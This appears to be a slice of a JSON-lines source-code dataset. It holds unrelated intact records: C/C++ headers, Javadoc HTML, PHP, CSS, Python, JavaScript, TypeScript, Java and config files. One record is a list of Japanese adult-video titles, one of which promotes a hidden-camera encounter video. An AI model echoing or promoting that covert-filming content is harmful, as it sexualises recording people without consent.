int)m_lengths.size()-1;}\n\tbool GetNextMessage();\n\n\tunsigned int NumberOfMessagesInThisSeries() const\n\t\t{return m_messageCounts[0];}\n\tunsigned int NumberOfMessageSeries() const\n\t\t{return (unsigned int)m_messageCounts.size()-1;}\n\n\tunsigned int CopyMessagesTo(BufferedTransformation &target, unsigned int count=UINT_MAX, const std::string &channel=DEFAULT_CHANNEL) const;\n\n\tconst byte * Spy(size_t &contiguousSize) const;\n\n\tvoid swap(MessageQueue &rhs);\n\nprivate:\n\tByteQueue m_queue;\n\tstd::deque m_lengths;\n\tstd::deque m_messageCounts;\n};\n\n\n//! A filter that checks messages on two channels for equality\nclass CRYPTOPP_DLL EqualityComparisonFilter : public Unflushable >\n{\npublic:\n\tstruct MismatchDetected : public Exception {MismatchDetected() : Exception(DATA_INTEGRITY_CHECK_FAILED, \"EqualityComparisonFilter: did not receive the same data on two channels\") {}};\n\n\t/*! if throwIfNotEqual is false, this filter will output a '\\\\0' byte when it detects a mismatch, '\\\\1' otherwise */\n\tEqualityComparisonFilter(BufferedTransformation *attachment=NULL, bool throwIfNotEqual=true, const std::string &firstChannel=\"0\", const std::string &secondChannel=\"1\")\n\t\t: m_throwIfNotEqual(throwIfNotEqual), m_mismatchDetected(false)\n\t\t, m_firstChannel(firstChannel), m_secondChannel(secondChannel)\n\t\t{Detach(attachment);}\n\n\tsize_t ChannelPut2(const std::string &channel, const byte *begin, size_t length, int messageEnd, bool blocking);\n\tbool ChannelMessageSeriesEnd(const std::string &channel, int propagation=-1, bool blocking=true);\n\nprivate:\n\tunsigned int MapChannel(const std::string &channel) const;\n\tbool HandleMismatchDetected(bool blocking);\n\n\tbool m_throwIfNotEqual, m_mismatchDetected;\n\tstd::string m_firstChannel, m_secondChannel;\n\tMessageQueue m_q[2];\n};\n\nNAMESPACE_END\n\n#ifndef __BORLANDC__\nNAMESPACE_BEGIN(std)\ntemplate<> inline void swap(CryptoPP::MessageQueue &a, CryptoPP::MessageQueue &b)\n{\n\ta.swap(b);\n}\nNAMESPACE_END\n#endif\n\n#endif\n"} +{"text": "\n\n\n\n\nTimestampedLogger (Apache Ant API)\n\n\n\n\n\n\n\n\n
    \n\n\n\n
    \n\n
    \n
    \n\n\n
    \n\n\n
    \n\n\n
    \n
    org.apache.tools.ant.listener
    \n

    Class TimestampedLogger

    \n
    \n
    \n\n
    \n
      \n
    • \n
      \n
      All Implemented Interfaces:
      \n
      java.util.EventListener, BuildListener, BuildLogger
      \n
      \n
      \n
      \n
      public class TimestampedLogger\nextends DefaultLogger
      \n
      Like a normal logger, except with timed outputs
      \n
    • \n
    \n
    \n
    \n\n
    \n
    \n
      \n
    • \n\n
        \n
      • \n\n\n

        Field Detail

        \n\n\n\n
          \n
        • \n

          SPACER

          \n
          public static final java.lang.String SPACER
          \n
          what appears between the old message and the new
          \n
          See Also:
          Constant Field Values
          \n
        • \n
        \n
      • \n
      \n\n
        \n
      • \n\n\n

        Constructor Detail

        \n\n\n\n
          \n
        • \n

          TimestampedLogger

          \n
          public TimestampedLogger()
          \n
        • \n
        \n
      • \n
      \n\n
        \n
      • \n\n\n

        Method Detail

        \n\n\n\n
          \n
        • \n

          getBuildFailedMessage

          \n
          protected java.lang.String getBuildFailedMessage()
          \n
          This is an override point: the message that indicates whether a build failed.\n Subclasses can change/enhance the message.
          \n
          \n
          Overrides:
          \n
          getBuildFailedMessage in class DefaultLogger
          \n
          Returns:
          The classic \"BUILD FAILED\" plus a timestamp
          \n
        • \n
        \n\n\n\n
          \n
        • \n

          getBuildSuccessfulMessage

          \n
          protected java.lang.String getBuildSuccessfulMessage()
          \n
          This is an override point: the message that indicates that a build succeeded.\n Subclasses can change/enhance the message.
          \n
          \n
          Overrides:
          \n
          getBuildSuccessfulMessage in class DefaultLogger
          \n
          Returns:
          The classic \"BUILD SUCCESSFUL\" plus a timestamp
          \n
        • \n
        \n
      • \n
      \n
    • \n
    \n
    \n
    \n\n\n\n
    \n\n\n\n
    \n\n
    \n
    \n\n\n
    \n\n\n
    \n\n\n\n"} +{"text": "/* Copyright (C) 2011-2015 Free Software Foundation, Inc.\n\nThis file is part of GCC.\n\nGCC is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 3, or (at your option)\nany later version.\n\nGCC is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nUnder Section 7 of GPL version 3, you are granted additional\npermissions described in the GCC Runtime Library Exception, version\n3.1, as published by the Free Software Foundation.\n\nYou should have received a copy of the GNU General Public License and\na copy of the GCC Runtime Library Exception along with this program;\nsee the files COPYING3 and COPYING.RUNTIME respectively. If not, see\n. */\n\n/* ISO C1X: 7.15 Alignment . */\n\n#ifndef _STDALIGN_H\n#define _STDALIGN_H\n\n#ifndef __cplusplus\n\n#define alignas _Alignas\n#define alignof _Alignof\n\n#define __alignas_is_defined 1\n#define __alignof_is_defined 1\n\n#endif\n\n#endif\t/* stdalign.h */\n"} +{"text": "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Predis\\Connection;\n\n/**\n * Interface for classes providing a factory of connections to Redis nodes.\n *\n * @author Daniele Alessandri \n */\ninterface FactoryInterface\n{\n /**\n * Defines or overrides the connection class identified by a scheme prefix.\n *\n * @param string $scheme Target connection scheme.\n * @param mixed $initializer Fully-qualified name of a class or a callable for lazy initialization.\n */\n public function define($scheme, $initializer);\n\n /**\n * Undefines the connection identified by a scheme prefix.\n *\n * @param string $scheme Target connection scheme.\n */\n public function undefine($scheme);\n\n /**\n * Creates a new connection object.\n *\n * @param mixed $parameters Initialization parameters for the connection.\n *\n * @return NodeConnectionInterface\n */\n public function create($parameters);\n\n /**\n * Aggregates single connections into an aggregate connection instance.\n *\n * @param AggregateConnectionInterface $aggregate Aggregate connection instance.\n * @param array $parameters List of parameters for each connection.\n */\n public function aggregate(AggregateConnectionInterface $aggregate, array $parameters);\n}\n"} +{"text": "fileFormatVersion: 2\nguid: c1ae7c812bd64c6458036d5ecf60e519\nNativeFormatImporter:\n externalObjects: {}\n mainObjectFileID: 0\n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "@media (min-width: 798px) {.container {max-width: 798px;}}\n\nbody {font-size: 17px;}\n\ntable.list td {vertical-align:top; padding-right:0.5em; padding-bottom:0.2em;}\n.affix {position: fixed; top: 30px;}\npre code {background-color: #ddd; border-style: none; font-size: 16px;}\n.alert code {background-color: inherit; border-style: solid; border-width: 1px; padding-top:3px; margin-left: 1px; margin-right: 1px;}\ndiv > code, p > code, i > code, b > code, a > code, u > code, li code, h1 code, h2 code, h3 code, h4 code {background:#eee; padding: 1px 6px;}\npre.output {background:#000; color:#cccc00; font-size: 16px;}\n.anchor {display:block; height:10px; margin-top:-16px; visibility:hidden;}\n.nav-bar-with-borders {border-top: 1px solid #6886c1; border-bottom: 1px solid #6886c1; margin: 16px 0px; padding: 3px 6px;}\n.nav-item-active {text-align: center; padding: 3px 0px; background-color: #d9edf7;}\n.nav-item-inactive {text-align: center; padding: 3px 0px;}\n.social-button {vertical-align:top; margin-top: 2px; margin-bottom: 2px;}\nli {margin: 3px 3px 3px 3px}\n.prettyprint li {margin: 0px}\n.note {}\n.new-text {color: #090; font-weight: bold;}\n\npre[class*=\"line-numbers\"],\npre[class*=\"disable-line-numbers\"] {\n\tbackground: #eee;\n}\n\na[href^=\"http://\"]:not([href*=\"localhost\"])::after, a[href^=\"https://\"]:not([href*=\"go101.org\"])::after {\ncontent: '\\1F5D7'; !important;\nmargin: 0 3px;\nvertical-align: top;\nfont-size: 12px;\n}\n\n"} +{"text": "name = \"Interact\"\nuuid = \"c601a237-2ae4-5e1e-952c-7a85b0c7eef1\"\nversion = \"0.10.3\"\n\n[deps]\nCSSUtil = \"70588ee8-6100-5070-97c1-3cb50ed05fe8\"\nInteractBase = \"d3863d7c-f0c8-5437-a7b4-3ae773c01009\"\nJSON = \"682c06a0-de6a-54ab-a142-c8b1cf79cde6\"\nKnockout = \"bcebb21b-c2e3-54f8-a781-646b90f6d2cc\"\nObservables = \"510215fc-4207-5dde-b226-833fc4488ee2\"\nOrderedCollections = \"bac558e1-5e72-5ebc-8fee-abe8a469f55d\"\nReexport = \"189a3867-3050-52da-a836-e630ba90ab69\"\nWebIO = \"0f1e0344-ec1d-5b48-a673-e5cf874b6c29\"\nWidgets = \"cc8bc4a8-27d6-5769-a93b-9d913e69aa62\"\n\n[compat]\njulia = \"0.7, 1\"\nJSON = \"≥ 0.7\"\nInteractBase = \"≥ 0.10.1\"\nWebIO = \"≥ 0.3.1\"\nOrderedCollections = \"1\"\nWidgets = \"≥ 0.5.0\"\nReexport = \"≥ 0.1.0\"\nObservables = \"≥ 0.2.2\"\n\n[extras]\nTest = \"8dfed614-e22c-5e08-85e1-65c5234f0b40\"\n\n[targets]\ntest = [\"Test\"]\n"} +{"text": "Threads\n========\n\nEventlet is thread-safe and can be used in conjunction with normal Python threads. The way this works is that coroutines are confined to their 'parent' Python thread. It's like each thread contains its own little world of coroutines that can switch between themselves but not between coroutines in other threads.\n\n.. image:: /images/threading_illustration.png\n\nYou can only communicate cross-thread using the \"real\" thread primitives and pipes. Fortunately, there's little reason to use threads for concurrency when you're already using coroutines.\n\nThe vast majority of the times you'll want to use threads are to wrap some operation that is not \"green\", such as a C library that uses its own OS calls to do socket operations. The :mod:`~eventlet.tpool` module is provided to make these uses simpler.\n\nThe optional :ref:`pyevent hub ` is not compatible with threads.\n\nTpool - Simple thread pool\n---------------------------\n\nThe simplest thing to do with :mod:`~eventlet.tpool` is to :func:`~eventlet.tpool.execute` a function with it. The function will be run in a random thread in the pool, while the calling coroutine blocks on its completion::\n\n >>> import thread\n >>> from eventlet import tpool\n >>> def my_func(starting_ident):\n ... print(\"running in new thread:\", starting_ident != thread.get_ident())\n ...\n >>> tpool.execute(my_func, thread.get_ident())\n running in new thread: True\n\nBy default there are 20 threads in the pool, but you can configure this by setting the environment variable ``EVENTLET_THREADPOOL_SIZE`` to the desired pool size before importing tpool.\n\n.. automodule:: eventlet.tpool\n\t:members:\n"} +{"text": "#appModules/spotify.py\r\n#A part of NonVisual Desktop Access (NVDA)\r\n#This file is covered by the GNU General Public License.\r\n#See the file COPYING for more details.\r\n#Copyright (C) 2013-2017 NV Access Limited, James Teh\r\n\r\n\"\"\"App module for Spotify\r\n\"\"\"\r\n\r\nimport appModuleHandler\r\nimport controlTypes\r\nfrom NVDAObjects.IAccessible import IAccessible\r\nimport eventHandler\r\n\r\nclass AppModule(appModuleHandler.AppModule):\r\n\r\n\tdef event_NVDAObject_init(self, obj):\r\n\t\tif obj.windowClassName == \"Chrome_RenderWidgetHostHWND\" and isinstance(obj, IAccessible) and obj.IAccessibleChildID < 0 and obj.role == controlTypes.ROLE_UNKNOWN:\r\n\t\t\t# #5439: Focus seems to hit Chromium objects that die before we can fetch them.\r\n\t\t\tobj.shouldAllowIAccessibleFocusEvent = False\r\n\r\n\tdef event_gainFocus(self, obj, nextHandler):\r\n\t\tif not eventHandler.isPendingEvents(\"gainFocus\") and obj.windowClassName == \"Chrome_WidgetWin_0\" and obj.role == controlTypes.ROLE_WINDOW:\r\n\t\t\t# Spotify doesn't fire focus on the correct object when it gets the foreground.\r\n\t\t\t# Instead, it fires focus on a window ancestor.\r\n\t\t\t# Try to get the correct focus.\r\n\t\t\ttry:\r\n\t\t\t\tfocus = obj.firstChild.firstChild.activeChild\r\n\t\t\texcept AttributeError:\r\n\t\t\t\tfocus = None\r\n\t\t\tif focus:\r\n\t\t\t\t# Bounce focus to the correct object.\r\n\t\t\t\treturn eventHandler.executeEvent(\"gainFocus\", focus)\r\n\t\treturn nextHandler()\r\n"} +{"text": "import subscriptionsAPI from '@/subscriptions/api/subscriptions'\nimport { createMetaModule, withMeta, metaStatuses } from '@/utils/datastore/helpers'\nimport { initializeMessaging, getServiceWorkerRegistration, isSupported } from '@/subscriptions/firebase'\n\nfunction initialState () {\n return {\n // These are persisted in the browser (see persistedState.js)\n // This is because push notifications are related to the device you are on\n intention: null, // true (please notify me), false (please don't notify me), or null (don't notify me, but maybe pester me)\n token: null,\n }\n}\n\nexport default {\n namespaced: true,\n modules: { meta: createMetaModule() },\n state: initialState(),\n getters: {\n enabled: state => Boolean(state.intention),\n pending: (state, getters) => {\n return [\n getters.enableStatus,\n getters.disableStatus,\n getters.askStatus,\n ].some(status => status.pending)\n },\n ...metaStatuses(['enable', 'disable', 'ask']),\n },\n actions: {\n ...withMeta({\n async enable ({ commit, dispatch }) {\n if (!isSupported()) return\n\n commit('setIntention', true)\n\n const messaging = await initializeMessaging()\n\n const serviceWorkerRegistration = await getServiceWorkerRegistration()\n let token\n try {\n token = await messaging.getToken({ serviceWorkerRegistration })\n }\n catch (err) {\n if (err.code === 'messaging/notifications-blocked' || err.code === 'messaging/permission-blocked') {\n commit('setIntention', false)\n dispatch('toasts/show', {\n message: 'USERDATA.PUSH_BLOCKED',\n config: {\n icon: 'warning',\n color: 'negative',\n },\n }, { root: true })\n }\n\n else if (err.code === 'messaging-permission-default') { // they clicked \"Not Now\" (at least in Firefox)\n commit('setIntention', null)\n }\n else {\n throw err\n }\n return\n }\n\n // tell service worker to load firebase and show notifications\n serviceWorkerRegistration.active.postMessage({\n type: 'LOAD_FIREBASE',\n })\n commit('setToken', token)\n },\n\n async disable ({ state, commit }) {\n if (!isSupported()) return\n\n commit('setIntention', false)\n\n if (state.token) (await initializeMessaging()).deleteToken()\n\n commit('setToken', null)\n },\n }),\n\n async setup ({ state, dispatch }) {\n if (!isSupported()) return\n\n if (state.intention === true) {\n await dispatch('enable')\n const registration = await getServiceWorkerRegistration()\n registration.update()\n }\n else if (state.intention === false) {\n await dispatch('disable')\n }\n },\n\n },\n mutations: {\n setIntention (state, value) {\n state.intention = value\n },\n setToken (state, token) {\n state.token = token\n },\n },\n}\n\nexport const plugin = datastore => {\n // Trigger setup after logging in\n // (logout handling is in auth/logout action)\n datastore.watch((state, getters) => getters['auth/isLoggedIn'], isLoggedIn => {\n if (isLoggedIn) datastore.dispatch('auth/push/setup')\n })\n\n // Ensure the server has the correct tokens\n datastore.watch((state) => state.auth.push.token, async (token, previousToken) => {\n if (!datastore.getters['auth/isLoggedIn']) return // we can't modify the server if we're not logged in\n\n const subscriptions = await subscriptionsAPI.list()\n\n if (previousToken) {\n const subscription = subscriptions.find(subscription => subscription.token === previousToken)\n if (subscription) await subscriptionsAPI.delete(subscription.id)\n }\n\n if (token) {\n const subscription = subscriptions.find(subscription => subscription.token === token)\n if (!subscription) await subscriptionsAPI.create({ token, platform: 'web' })\n }\n }, { immediate: true })\n}\n"} +{"text": "/*\n * Author: Garrett Barboza \n *\n * Copyright (c) 2014 Kaprica Security, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n */\n\n#include \n\nint strcasecmp(const char *s1, const char *s2)\n{\n unsigned char *_s1 = (unsigned char *)s1;\n unsigned char *_s2 = (unsigned char *)s2;\n while (*_s1 && *_s2)\n if (!(*_s1 == *_s2 || tolower(*_s1) == tolower(*_s2)))\n break;\n else\n _s1++, _s2++;\n\n return tolower(*_s1) - tolower(*_s2);\n}\n"} +{"text": "import {\n dxCalendarOptions\n} from './calendar';\n\nimport dxDropDownEditor, {\n dxDropDownEditorOptions\n} from './drop_down_editor/ui.drop_down_editor';\n\nimport {\n format\n} from './widget/ui.widget';\n\nexport interface dxDateBoxOptions extends dxDropDownEditorOptions {\n /**\n * @docid dxDateBoxOptions.adaptivityEnabled\n * @type boolean\n * @default false\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n adaptivityEnabled?: boolean;\n /**\n * @docid dxDateBoxOptions.applyButtonText\n * @type string\n * @default \"OK\"\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n applyButtonText?: string;\n /**\n * @docid dxDateBoxOptions.calendarOptions\n * @type dxCalendarOptions\n * @default {}\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n calendarOptions?: dxCalendarOptions;\n /**\n * @docid dxDateBoxOptions.cancelButtonText\n * @type string\n * @default \"Cancel\"\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n cancelButtonText?: string;\n /**\n * @docid dxDateBoxOptions.dateOutOfRangeMessage\n * @type string\n * @default \"Value is out of range\"\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n dateOutOfRangeMessage?: string;\n /**\n * @docid dxDateBoxOptions.dateSerializationFormat\n * @type string\n * @default undefined\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n dateSerializationFormat?: string;\n /**\n * @docid dxDateBoxOptions.disabledDates\n * @type Array|function(data)\n * @default null\n * @type_function_param1 data:object\n * @type_function_param1_field1 component:dxDateBox\n * @type_function_param1_field2 date:Date\n * @type_function_param1_field3 view:string\n * @type_function_return boolean\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n disabledDates?: Array | ((data: { component?: dxDateBox, date?: Date, view?: string }) => boolean);\n /**\n * @docid dxDateBoxOptions.displayFormat\n * @type format\n * @default null\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n displayFormat?: format;\n /**\n * @docid dxDateBoxOptions.interval\n * @type number\n * @default 30\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n interval?: number;\n /**\n * @docid dxDateBoxOptions.invalidDateMessage\n * @type string\n * @default \"Value must be a date or time\"\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n invalidDateMessage?: string;\n /**\n * @docid dxDateBoxOptions.max\n * @type Date|number|string\n * @default undefined\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n max?: Date | number | string;\n /**\n * @docid dxDateBoxOptions.min\n * @type Date|number|string\n * @default undefined\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n min?: Date | number | string;\n /**\n * @docid dxDateBoxOptions.pickerType\n * @type Enums.DateBoxPickerType\n * @default 'calendar'\n * @default 'native' [for](iOS)\n * @default 'native' [for](Android)\n * @default 'rollers' [for](Android_below_version_4.4)\n * @default 'rollers' [for](mobile_devices)\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n pickerType?: 'calendar' | 'list' | 'native' | 'rollers';\n /**\n * @docid dxDateBoxOptions.placeholder\n * @type string\n * @default \"\"\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n placeholder?: string;\n /**\n * @docid dxDateBoxOptions.showAnalogClock\n * @type boolean\n * @default true\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n showAnalogClock?: boolean;\n /**\n * @docid dxDateBoxOptions.type\n * @type Enums.DateBoxType\n * @default \"date\"\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n type?: 'date' | 'datetime' | 'time';\n /**\n * @docid dxDateBoxOptions.useMaskBehavior\n * @type boolean\n * @default false\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n useMaskBehavior?: boolean;\n /**\n * @docid dxDateBoxOptions.value\n * @type Date|number|string\n * @default null\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n value?: Date | number | string;\n}\n/**\n * @docid dxDateBox\n * @isEditor\n * @inherits dxDropDownEditor\n * @module ui/date_box\n * @export default\n * @prevFileNamespace DevExpress.ui\n * @public\n */\nexport default class dxDateBox extends dxDropDownEditor {\n constructor(element: Element, options?: dxDateBoxOptions)\n constructor(element: JQuery, options?: dxDateBoxOptions)\n /**\n * @docid dxDateBoxMethods.close\n * @publicName close()\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n close(): void;\n /**\n * @docid dxDateBoxMethods.open\n * @publicName open()\n * @prevFileNamespace DevExpress.ui\n * @public\n */\n open(): void;\n}\n\ndeclare global {\ninterface JQuery {\n dxDateBox(): JQuery;\n dxDateBox(options: \"instance\"): dxDateBox;\n dxDateBox(options: string): any;\n dxDateBox(options: string, ...params: any[]): any;\n dxDateBox(options: dxDateBoxOptions): JQuery;\n}\n}\nexport type Options = dxDateBoxOptions;\n\n/** @deprecated use Options instead */\nexport type IOptions = dxDateBoxOptions;"} +{"text": "$def with(ocaid, borrow=False, listen=False, loan=None, label='')\n\n$if (borrow and not loan):\n $ action = \"borrow\"\n $ label = label or _(\"Borrow\")\n $ title = _(\"Borrow ebook from Internet Archive\")\n$else:\n $ action = \"read\"\n $ label = _(\"Read\")\n $ title = _(\"Read ebook from Internet Archive\")\n\n$ stream_url = \"/borrow/ia/%s?ref=ol\" % ocaid\n\n
    \n $label\n $if listen:\n \n \n $_('Listen')\n \n
    \n"} +{"text": "{\n \"name\": \"once\",\n \"version\": \"1.1.1\",\n \"description\": \"Run a function exactly one time\",\n \"main\": \"once.js\",\n \"directories\": {\n \"test\": \"test\"\n },\n \"dependencies\": {},\n \"devDependencies\": {\n \"tap\": \"~0.3.0\"\n },\n \"scripts\": {\n \"test\": \"tap test/*.js\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git://github.com/isaacs/once\"\n },\n \"keywords\": [\n \"once\",\n \"function\",\n \"one\",\n \"single\"\n ],\n \"author\": {\n \"name\": \"Isaac Z. Schlueter\",\n \"email\": \"i@izs.me\",\n \"url\": \"http://blog.izs.me/\"\n },\n \"license\": \"BSD\",\n \"readme\": \"# once\\n\\nOnly call a function once.\\n\\n## usage\\n\\n```javascript\\nvar once = require('once')\\n\\nfunction load (file, cb) {\\n cb = once(cb)\\n loader.load('file')\\n loader.once('load', cb)\\n loader.once('error', cb)\\n}\\n```\\n\\nOr add to the Function.prototype in a responsible way:\\n\\n```javascript\\n// only has to be done once\\nrequire('once').proto()\\n\\nfunction load (file, cb) {\\n cb = cb.once()\\n loader.load('file')\\n loader.once('load', cb)\\n loader.once('error', cb)\\n}\\n```\\n\\nIronically, the prototype feature makes this module twice as\\ncomplicated as necessary.\\n\",\n \"readmeFilename\": \"README.md\",\n \"bugs\": {\n \"url\": \"https://github.com/isaacs/once/issues\"\n },\n \"_id\": \"once@1.1.1\",\n \"_from\": \"once@~1.1.1\"\n}\n"} +{"text": "/*\n * Copyright (c) 2003, 2019, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\n\npackage java.lang.reflect;\n\n/**\n * Thrown when a semantically malformed parameterized type is\n * encountered by a reflective method that needs to instantiate it.\n * For example, if the number of type arguments to a parameterized type\n * is wrong.\n *\n * @since 1.5\n */\npublic class MalformedParameterizedTypeException extends RuntimeException {\n @java.io.Serial\n private static final long serialVersionUID = -5696557788586220964L;\n\n /**\n * Constructs a {@code MalformedParameterizedTypeException} with\n * no detail message.\n */\n public MalformedParameterizedTypeException() {\n super();\n }\n\n /**\n * Constructs a {@code MalformedParameterizedTypeException} with\n * the given detail message.\n * @param message the detail message; may be {@code null}\n */\n public MalformedParameterizedTypeException(String message) {\n super(message);\n }\n}\n"} +{"text": "浜本まり最新番号\r\n【GHPM-97】女下忍衆 ~無念!!散りゐく雑魚くノ一たち~\r\n【MADM-069】オフィスで社内SEXを愉しむ不倫妻たち\r\n【SERO-386】【隠し撮りドキュメント】ネットで噂の必ず人妻とパコれるスポットに強行潜入!欲求不満の若妻から熟女が出会いを求めやってくる…\r\n【MADM-065】欲求不満の人妻がハマる悶絶回春オイルマッサージ\r\n【DVDES-929】SEXのハードルが異常に低い世界 112016-02-06ディープス$$$DEEP’S149分钟"} +{"text": "import luda from '../base/luda.coffee'\nimport collect from '../base/collect.coffee'\nimport pluck from '../base/pluck.coffee'\nimport unique from '../base/unique.coffee'\n\n\n\nluda.include\n \n parents: (comparator) ->\n luda collect(unique(pluck(@els, 'parentElement', true)), comparator)"} +{"text": "from flask import Flask\n\nfrom requests import JSONRPCRequest\nfrom views import json_echo\n\nFlask.request_class = JSONRPCRequest\n\n\ndef create_app():\n app = Flask(\"FlaskEchoApp\")\n # Register the blueprint version of the echoer\n app.register_blueprint(json_echo, url_prefix=\"/json_echo\")\n\n return app\n"} +{"text": "// (C) Copyright John Maddock 2005.\n// Use, modification and distribution are subject to the\n// Boost Software License, Version 1.0. (See accompanying file\n// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n\n\n#if !defined(BOOST_TR1_UTILITY_INCLUDED) || defined(BOOST_TR1_NO_RECURSION)\n#ifndef BOOST_TR1_UTILITY_INCLUDED\n# define BOOST_TR1_UTILITY_INCLUDED\n#endif\n# ifdef BOOST_TR1_NO_UTILITY_RECURSION2\n# define BOOST_TR1_NO_UTILITY_RECURSION3\n# elif defined(BOOST_TR1_NO_UTILITY_RECURSION)\n# define BOOST_TR1_NO_UTILITY_RECURSION2\n# elif !defined(BOOST_TR1_NO_RECURSION)\n# define BOOST_TR1_NO_RECURSION\n# define BOOST_TR1_NO_UTILITY_RECURSION\n# endif\n# include \n# if defined(BOOST_HAS_INCLUDE_NEXT) && !defined(BOOST_TR1_DISABLE_INCLUDE_NEXT)\n# include_next \n# else\n# include BOOST_TR1_STD_HEADER(utility)\n# endif\n#ifdef BOOST_TR1_NO_UTILITY_RECURSION3\n# undef BOOST_TR1_NO_UTILITY_RECURSION3\n#elif defined(BOOST_TR1_NO_UTILITY_RECURSION2)\n# undef BOOST_TR1_NO_UTILITY_RECURSION2\n#elif defined(BOOST_TR1_NO_UTILITY_RECURSION)\n# undef BOOST_TR1_NO_RECURSION\n# undef BOOST_TR1_NO_UTILITY_RECURSION\n# endif\n#endif\n\n#if !defined(BOOST_TR1_FULL_UTILITY_INCLUDED) && !defined(BOOST_TR1_NO_RECURSION)\n# define BOOST_TR1_FULL_UTILITY_INCLUDED\n# define BOOST_TR1_NO_RECURSION\n# include \n# undef BOOST_TR1_NO_RECURSION\n#endif\n\n"} +{"text": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Web;\n\nnamespace Core.DataStorageModelsWeb.Models\n{\n public class Call\n {\n public DateTime ReceivedDate { get; set; }\n\n public string PhoneNumber { get; set; }\n }\n}"} +{"text": "...menustart\n\n- [工具集](#d1f4a2ca5ebae356829301a14367e0e6)\n - [1.1 go build](#5cb3fbe2f5c14eaeec65da239fb2278b)\n - [go build injection](#dc4c1d9510e06b1f42e03832e216b351)\n - [逃逸分析](#39e51e767418357eef4ac9bcb4330f50)\n - [1.2 go install](#bfae2838680a32e56e245ff108957b89)\n - [1.3 go clean](#a0d272d3a24a7f1986e0fa7bafb8a59d)\n - [1.4 go get](#467396f90a34e7517a6fe191507ebab1)\n - [1.5 go tool objdump](#10dff3e07c4de7491ca41d3f3d6a7968)\n - [1.6 go profile: pprof](#97696a7ea989ac7decac2e8be29a04f7)\n- [条件编译](#b19e1a4d4f517ccccc8fd5d402c438f9)\n - [通过 runtime.GOOS/GOARCH判断,或使用编译约束标记](#7fb897f760321cdc29a25ac77a31a041)\n - [\"+build\"注释, 指示编译器检查相关环境变量](#e4ee5701df42dfb4c09086d79e67d9f6)\n - [多个标记合并, 空格表示OR, 逗号AND, 感叹号NOT](#30ef583d7ef62bad4751c8e2e7299f50)\n - [如果GOOS,GOARCH条件不符合, 编译器忽略该文件](#ba18359c8922124ddf4b2ffbdad4b1d3)\n - [还可使用 文件名来表示编译约束](#e6bd662653ba70b565a32d84722fd015)\n - [忽略某个文件,或指定编译器版本号](#5c0242163713cc576762cc92f3c5e625)\n- [跨平台编译](#9f4c95c3ac51945acde06a53ffa196bd)\n - [首先得生成与平台相关的工具和标准库](#6aa488bb375a987c2f85c02db3220422)\n - [设置 GOOS GOARCH 环境变量编译目标平台文件](#0457f03fb15cf964e191b590da30f15e)\n\n...menuend\n\n\n

    \n\n\n## 工具集\n\n

